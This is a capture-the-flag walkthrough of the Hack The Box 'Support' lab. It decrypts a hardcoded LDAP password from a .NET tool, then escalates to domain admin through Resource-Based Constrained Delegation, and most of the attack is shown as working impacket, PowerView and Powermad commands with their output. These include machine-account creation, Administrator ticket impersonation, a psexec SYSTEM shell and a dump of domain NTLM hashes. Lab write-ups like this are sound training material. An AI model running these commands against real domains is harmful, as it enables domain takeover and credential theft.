- Published on
HTB - Support (Easy)
- Authors
- Name
- mfkrypt

Table of Contents
Scanning
❯ nmap -sV -sC -v -Pn 10.129.230.181
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-13 07:04 +08
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 07:04
Completed NSE at 07:04, 0.00s elapsed
Initiating NSE at 07:04
Completed NSE at 07:04, 0.00s elapsed
Initiating NSE at 07:04
Completed NSE at 07:04, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 07:04
Completed Parallel DNS resolution of 1 host. at 07:04, 0.01s elapsed
Initiating Connect Scan at 07:04
Scanning 10.129.230.181 [1000 ports]
Discovered open port 445/tcp on 10.129.230.181
Discovered open port 139/tcp on 10.129.230.181
Discovered open port 53/tcp on 10.129.230.181
Discovered open port 135/tcp on 10.129.230.181
Discovered open port 389/tcp on 10.129.230.181
Discovered open port 88/tcp on 10.129.230.181
Discovered open port 636/tcp on 10.129.230.181
Discovered open port 464/tcp on 10.129.230.181
Discovered open port 593/tcp on 10.129.230.181
Discovered open port 3268/tcp on 10.129.230.181
Discovered open port 3269/tcp on 10.129.230.181
Completed Connect Scan at 07:04, 4.69s elapsed (1000 total ports)
Initiating Service scan at 07:04
Scanning 11 services on 10.129.230.181
Completed Service scan at 07:05, 8.26s elapsed (11 services on 1 host)
NSE: Script scanning 10.129.230.181.
Initiating NSE at 07:05
Completed NSE at 07:06, 98.64s elapsed
Initiating NSE at 07:06
Completed NSE at 07:07, 50.07s elapsed
Initiating NSE at 07:07
Completed NSE at 07:07, 0.00s elapsed
Nmap scan report for 10.129.230.181
Host is up (0.015s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-12 23:04:58Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -1s
| smb2-time:
| date: 2025-07-12T23:05:02
|_ start_date: N/A
NSE: Script Post-scanning.
Initiating NSE at 07:07
Completed NSE at 07:07, 0.00s elapsed
Initiating NSE at 07:07
Completed NSE at 07:07, 0.00s elapsed
Initiating NSE at 07:07
Completed NSE at 07:07, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 162.00 seconds
Enumeration
❯ nxc smb support.htb -u 'a' -p '' --users
Guest logon is enabled, let's try enumerate shares

❯ smbclient -L support.htb -U a%

Interesting non-default share available, support-tools
❯ smbclient //support.htb/support-tools -U a%

Apart from the other programs, we can notice an interesting zip file called UserInfo.exe.zip
. Unzipping it will give us some DLLs that are probably required to run the program and the executable itself. We also find that the executable is a .NET application

Reversing
We can utlize a .NET debugger like dnSpy to debug and disassemble the application

We can analyse a few functions after decompiling but the LdapQuery
class seems to authenticate a user named ldap
against the LDAP server, furthermore, we can notice that is retrieving a string called password
from the Protected
class using the getPassword()
function

Analyzing the said class reveals an encoded string with a key. It seems there is some sort of XOR encryption going on here

Encoeded Base64 string:
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
Key that is used for XOR:
private static byte[] key = Encoding.ASCII.GetBytes("armando");
Now the function getPassword()
first decodes the Base64 string into a byte array, then does a for loop that each byte is XORed with a byte from the key with a constant of 223
public static string getPassword()
{
byte[] array = Convert.FromBase64String(Protected.enc_password);
byte[] array2 = array;
for (int i = 0; i < array.Length; i++)
{
array2[i] = array[i] ^ Protected.key[i % Protected.key.Length] ^ 223;
}
return Encoding.Default.GetString(array2);
}
We can try to write a script that replicates the decryption process
import base64
enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"
data = base64.b64decode(enc_password)
decrypted = bytearray()
for i in range(len(data)):
decrypted_byte = data[i] ^ key[i % len(key)] ^ 223
decrypted.append(decrypted_byte)
password = decrypted.decode('utf-8')
print(f'Decrypted password: {password}')
❯ python3 decrypt.py
Decrypted password: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
Let us verify the credentials

Yep, we got it
Enumeration Pt.2
Enumerate users
❯ nxc smb support.htb -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --users

We can go ahead and put them in a list. Initially, I queried for Bloodhound data but LDAP was bugging out at the moment. Anyways, we can see the username, ldap
is probably hinting at LDAP enumeration so that's what we're going to do.
❯ nxc ldap support.htb -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --query "(objectclass=*)" ""
This LDAP query returns every object from the LDAP server. It is a bit messy so I used ldapdomaindump
instead for a more structured output
❯ ldapdomaindump -u support.htb\\ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' ldap://10.129.230.181 -o ldap

Going through the user objects carefully we will notice what looks like a password for the user support

Verify them

Valid, lets goo. Lets us try querying for Bloodhound data
❯ nxc ldap support.htb -u 'support' -p 'Ironside47pleasure40Watchful' --dns-server 10.129.230.181 --bloodhound --collection All


Gaining Access
Finally works bruh, we can see user support
is a member of the Remote Management Users group. We can easily retrieve the user flag

Privilege Escalation
User support
is also a member of the Shared Support Account
which has GenericAll
over a computer account which is the Domain Controller itself

If we click on the ACE and check the left pane, Bloodhound provides a somewhat step by step exploitation technique and explanation of the vulnerability

In this case, the vulnerability is a Resource-Based Constrained Delegation. Now, what in the world is that? Imagine a database service that can be set up to allow specific services, like a web service, to act on behalf of users through assigned security permissions.
Simply put, its a feature that enables administrators to delegate permissions in order to manage resources more securely. This is a great & very detailed article about it
So I am going to do this in 2 methods, the easy method and the manual method to further explore the requirements of this attack
The Easy Method
We can just follow what Bloodhound suggested with 3 commands. First, we need to add a rogue computer
❯ impacket-addcomputer -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Password123!' -dc-host 10.129.238.56 'support.htb/support:Ironside47pleasure40Watchful'

Next, we need to delegate from the rogue computer to the target computer
❯ impacket-rbcd -delegate-from ATTACKERSYSTEM$ -delegate-to DC$ -action write support.htb/support:Ironside47pleasure40Watchful -dc-ip 10.129.238.56

Then, we request a Service Ticket for the service name we want to impersonate Administrator
, In this case, its the CIFS service
❯ impacket-getST -spn cifs/dc.support.htb -impersonate Administrator support.htb/ATTACKERSYSTEM$:Password123!

By now, we should have the ticket generated, all that's left is to export it to the KRB5CCNAME
variable
❯ export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
We can psexec
using the Kerberos ticket and we will land a SYSTEM session and can grab the root ticket
❯ impacket-psexec support.htb/administrator@dc.support.htb -k -no-pass

Oh as a bonus we can also dump everyones NTLM hashes from NTDS.dit using secretsdump
❯ impacket-secretsdump -k DC.support.htb
...
...
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6303be52e22950b5bcb764ff2b233302:::
ldap:1104:aad3b435b51404eeaad3b435b51404ee:b735f8c7172b49ca2b956b8015eb2ebe:::
support:1105:aad3b435b51404eeaad3b435b51404ee:11fbaef07d83e3f6cde9f0ff98a3af3d:::
smith.rosario:1106:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
hernandez.stanley:1107:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
wilson.shelby:1108:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
anderson.damian:1109:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
thomas.raphael:1110:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
levine.leopoldo:1111:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
raven.clifton:1112:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
bardot.mary:1113:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
cromwell.gerard:1114:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
monroe.david:1115:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
west.laura:1116:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
langley.lucy:1117:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
daughtler.mabel:1118:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
stoll.rachelle:1119:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
ford.victoria:1120:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:e2e3a4338eadd9bf0f6f640e68c82340:::
ATTACKERSYSTEM$:6101:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
The Manual Method
The attached below is an amazing explanation and step by step video form SpecterOps on how to exploit this. I will use it as my reference
Requirements
First we need to identify the target computer. Looking at Bloodhound, we have arbitrary write access over the target computer which is DC$
which we can then create a TGT or DCSync to get the NTLM hashes

Clicking on the target computer node will show that Administrator
also has admin rights over the computer

Next we will use Powerview on user support
to query some info and retrieve the conditions on launching the attack
❯ powerview 'support':'Ironside47pleasure40Watchful'@support.htb
Get the DN for the domain
PV ❯ Get-DomainUser support

Specify the DN as the identity we want to find
PV ❯ Get-DomainObject -Identity DC=support,DC=htb
Observe that an admin/non-admin is allowed to add up to 10 computers in the domain

We also need at least 1 Windows Server 2012 or newer Domain Controller for the attack to work
PV ❯ Get-DomainController -Properties Name,OperatingSystem -TableView
Name OperatingSystem
------ ----------------------------
DC Windows Server 2022 Standard
And we need to make sure the msds-allowedtoactonbehalfofotheridentity
attribute is not configured
PV ❯ Get-DomainController -Properties Name,msds-allowedtoactonbehalfofotheridentity -TableView
Name msds-allowedtoactonbehalfofotheridentity
------ ------------------------------------------
DC
Great now we can execute our attack
Attack
Creating a Fake Computer
WinRM into our compromised user which is support
. Upload and Import PowerMad and also the Powerview script so we can use some of their function commandlets
PS C:\Users\support\Documents> Import-Module ./Powermad.ps1
PS C:\Users\support\Documents> Import-Module ./PowerView.ps1
Add the new computer (machine account) that we control with a password
PS C:\Users\support\Documents> New-MachineAccount -MachineAccount FakeComputer -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
[+] Machine account FakeComputer added
Verify that it worked and retrieve the SID
PS C:\Users\support\Documents> Get-DomainComputer FakeComputer
...
...
objectsid : S-1-5-21-1677581083-3380853377-188903654-6101
...
...
Now we have collected these important details:
- Target Computer Name:
DC
- Admin on Target Computer
Administrator
- Fake Computer Name:
FakeComputer
- Fake Computer SID:
S-1-5-21-1677581083-3380853377-188903654-6101
- Fake Computer PAssword:
Password123!
Modifying The Property
We create a Security Descriptor (SD) that includes the SID above as the identity to act on behalf of other users on the target computer.
We then set this SD on the msds-allowedtoactonbehalfofotheridentity
attribute of the target computer
PS C:\Users\support\Documents> $ComputerSid = Get-DomainComputer FakeComputer -Properties objectsid | Select -Expand objectsid
PS C:\Users\support\Documents> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
PS C:\Users\support\Documents> $SDBytes = New-Object byte[] ($SD.BinaryLength)
PS C:\Users\support\Documents> $SD.GetBinaryForm($SDBytes, 0)
PS C:\Users\support\Documents> Get-DomainComputer DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
Verifying The Change
PS C:\Users\support\Documents> Get-DomainComputer DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
PS C:\Users\support\Documents> $RawBytes = Get-DomainComputer FakeComputer -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
PS C:\Users\support\Documents> $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
PS C:\Users\support\Documents> $Descriptor.DiscretionaryAcl
BinaryLength : 36
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 983551
SecurityIdentifier : S-1-5-21-1677581083-3380853377-188903654-6101
AceType : AccessAllowed
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None
S4U2Self & S4U2Proxy
Notice now we have the AccessAllowed
ACE. By now, we can use Rubeus' s4u command to perform S4U2Self and S4U2Proxy but for some reason I could not do that. So I opted to just use the getST
tool from Impacket's suite to get the Service Ticket
❯ impacket-getST -spn cifs/dc.support.htb -impersonate Administrator support.htb/FakeComputer$:Password123!
This performs S4U2Self to get the Service Ticket for Administrator on the FakeComputer, then it takes that ticket to perform S4U2Proxy to request another service ticket to the the SPN (Service Principal Name) we specified on the target computer on behalf of the Administrator. In this case, its the CIFS service.

After that we export the ticket to the KRB5CCNAME
variable
export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
Get a psexec shell using Kerberos auth
❯ impacket-psexec support.htb/administrator@dc.support.htb -k -no-pass

And like the previous method, we can dump everyone's hashes
❯ impacket-secretsdump -k DC.support.htb
...
...
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6303be52e22950b5bcb764ff2b233302:::
ldap:1104:aad3b435b51404eeaad3b435b51404ee:b735f8c7172b49ca2b956b8015eb2ebe:::
support:1105:aad3b435b51404eeaad3b435b51404ee:11fbaef07d83e3f6cde9f0ff98a3af3d:::
smith.rosario:1106:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
hernandez.stanley:1107:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
wilson.shelby:1108:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
anderson.damian:1109:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
thomas.raphael:1110:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
levine.leopoldo:1111:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
raven.clifton:1112:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
bardot.mary:1113:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
cromwell.gerard:1114:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
monroe.david:1115:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
west.laura:1116:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
langley.lucy:1117:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
daughtler.mabel:1118:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
stoll.rachelle:1119:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
ford.victoria:1120:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:e2e3a4338eadd9bf0f6f640e68c82340:::
ATTACKERSYSTEM$:6101:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::